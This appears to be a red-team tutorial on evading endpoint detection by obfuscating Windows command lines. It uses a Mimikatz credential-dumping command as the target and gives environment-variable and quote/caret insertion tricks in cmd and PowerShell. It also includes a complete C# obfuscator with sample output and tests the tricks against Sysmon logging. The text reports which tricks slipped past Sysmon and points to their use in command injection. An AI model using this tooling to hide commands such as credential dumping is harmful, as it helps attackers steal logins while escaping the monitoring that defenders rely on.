Endpoint Detection & Response (EDR) systems will log commands executed on an endpoint. Whilst it may be possible to subvert this logging by manipulating the Process Environment Block, a simpler method is to encode the commands we want to execute.
For instance, we can assume the following Mimikatz command would generate an alert by an EDR:
1 | mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" |
Monitoring Events using Microsoft Sysmon
We can use Microsoft Sysmon to monitor the command line events being generated.
Sysmon can be downloaded from here; https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
The following command will install the sysmon driver:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | C:\Sysmon>Sysmon64.exe -accepteula -i C:\Sysmon\sysmonconfig-export.xml System Monitor v15.14 - System activity monitor By Mark Russinovich and Thomas Garnier Copyright (C) 2014-2024 Microsoft Corporation Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved. Sysinternals - www.sysinternals.com Loading configuration file with schema version 4.50 Sysmon schema version: 4.90 Configuration file validated. Sysmon64 installed. SysmonDrv installed. Starting SysmonDrv. SysmonDrv started. Starting Sysmon64.. Sysmon64 started. |
With Sysmon installed, Open Event Viewer and expand Applications and Services Log > Microsoft > Windows > Sysmon > Operational. Event ID 1 (Process Creation) should show command line arguments.

There are a couple of ways we can evade pattern matching signatures for commands.
Environment Variables
Firstly, we can use environment variables to store the commands to be executed. For instance, the following will launch whoami /all;
1 2 3 4 5 6 7 8 9 10 11 12 13 | set "aa=w" set "ab=h" set "ac=o" set "ad=a" set "ae=m" set "af=i" set "ag= " set "ah=/" set "ai=a" set "aj=l" set "ak=l" set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak% cmd /c %CMD% |
The same thing can also be achieved using PowerShell.
1 2 3 4 5 6 7 8 9 10 11 12 13 | $aa='w' $ab='h' $ac='o' $ad='a' $ae='m' $af='i' $ag=' ' $ah='/' $ai='a' $aj='l' $ak='l' $CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak cmd /c $CMD |
Character Insertion
Another technique is to insert double quotes (“) or caret (^) characters within command arguments. The target command will still be executed, but adding the quotes or carets helps break up the command signature.
1 2 | cmd /c w"h"o"a"m"i" /"a"l"l cmd /c w^h^o^a^m^i^ /^a^l^l |
C# Encoder
The following C# code implements these techniques.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | using System; using System.Collections.Generic; namespace CMDObfuscation { internal class Program { static string ObfuscateCharacters( string command, char character) { char insertChar = character; char [] modifiedChars = new char [command.Length * 2]; for ( int i = 0, j = 0; i < command.Length; i++) { modifiedChars[j++] = command[i]; // Only add a quote if the current character is not a quote or space if (command[i] != '"' && command[i] != ' ' ) { // Make sure we don't add any characters at the end of the string if (i != command.Length - 1) { modifiedChars[j++] = insertChar; } } } string result = new string (modifiedChars, 0, command.Length * 2); result = "cmd /c " + result; return result; } static string ObfuscateEnvVariables( string command) { char [] characters = { 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' }; List< string > letter_combinations = new List< string >(); for ( int i = 0; i < characters.Length; i++) { for ( int j = 0; j < characters.Length; j++) { letter_combinations.Add($ "{characters[i]}{characters[j]}" ); } } string final_command = "" ; string set_commands = "" ; for ( int i = 0; i < command.Length; i++) { set_commands += "\nset \"" + letter_combinations[i] + "=" + command[i] + "\"" ; final_command += "%" + letter_combinations[i] + "%" ; } string result = "" ; result += set_commands; result += "\nset CMD=" + final_command; result += "\ncmd /c %CMD%" ; return result; } static string ObfuscateEnvVariablesPS( string command) { char [] characters = { 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' }; List< string > letter_combinations = new List< string >(); for ( int i = 0; i < characters.Length; i++) { for ( int j = 0; j < characters.Length; j++) { letter_combinations.Add($ "{characters[i]}{characters[j]}" ); } } string final_command = "" ; string set_commands = "" ; for ( int i = 0; i < command.Length; i++) { set_commands += "\n$" + letter_combinations[i] + "=\'" + command[i] + "\'" ; final_command += "$" + letter_combinations[i] + " + " ; } string result = "" ; result += set_commands; result += "\n$CMD=" + final_command.Remove(final_command.Length - 2); result += "\ncmd /c $CMD" ; return result; } static void Main( string [] args) { while ( true ) { Console.Write( ">" ); string command = Console.ReadLine(); if (command.Length >= 1) { Console.WriteLine( "\n######## Quote Characters ########\n" ); Console.WriteLine(ObfuscateCharacters(command, '"' )); Console.WriteLine( "\n######## Caret Characters ########\n" ); Console.WriteLine(ObfuscateCharacters(command, '^' )); Console.WriteLine( "\n######## CMD Environment Variables ########" ); Console.WriteLine(ObfuscateEnvVariables(command)); Console.WriteLine( "\n######## PS Environment Variables ########" ); Console.WriteLine(ObfuscateEnvVariablesPS(command)); } } } } } |
Executing the code shows our encoded commands.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | >whoami /all ######## Quote Characters ######## cmd /c w"h"o"a"m"i" /"a"l"l ######## Caret Characters ######## cmd /c w^h^o^a^m^i^ /^a^l^l ######## CMD Environment Variables ######## set "aa=w" set "ab=h" set "ac=o" set "ad=a" set "ae=m" set "af=i" set "ag= " set "ah=/" set "ai=a" set "aj=l" set "ak=l" set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak% cmd /c %CMD% ######## PS Environment Variables ######## $aa='w' $ab='h' $ac='o' $ad='a' $ae='m' $af='i' $ag=' ' $ah='/' $ai='a' $aj='l' $ak='l' $CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak cmd /c $CMD |
Based on the sysmon output, adding in quotes to the command parameters has helped break up the pattern of our Mimikatz command.

However, Sysmon has decoded the command lines entered using environment variables or using caret characters.

In Conclusion
Although environment variable obfuscation does not work against Sysmon, it may work against other solutions. In addition, command line Obfuscating may also be useful when exploiting some command injection vulnerabilities.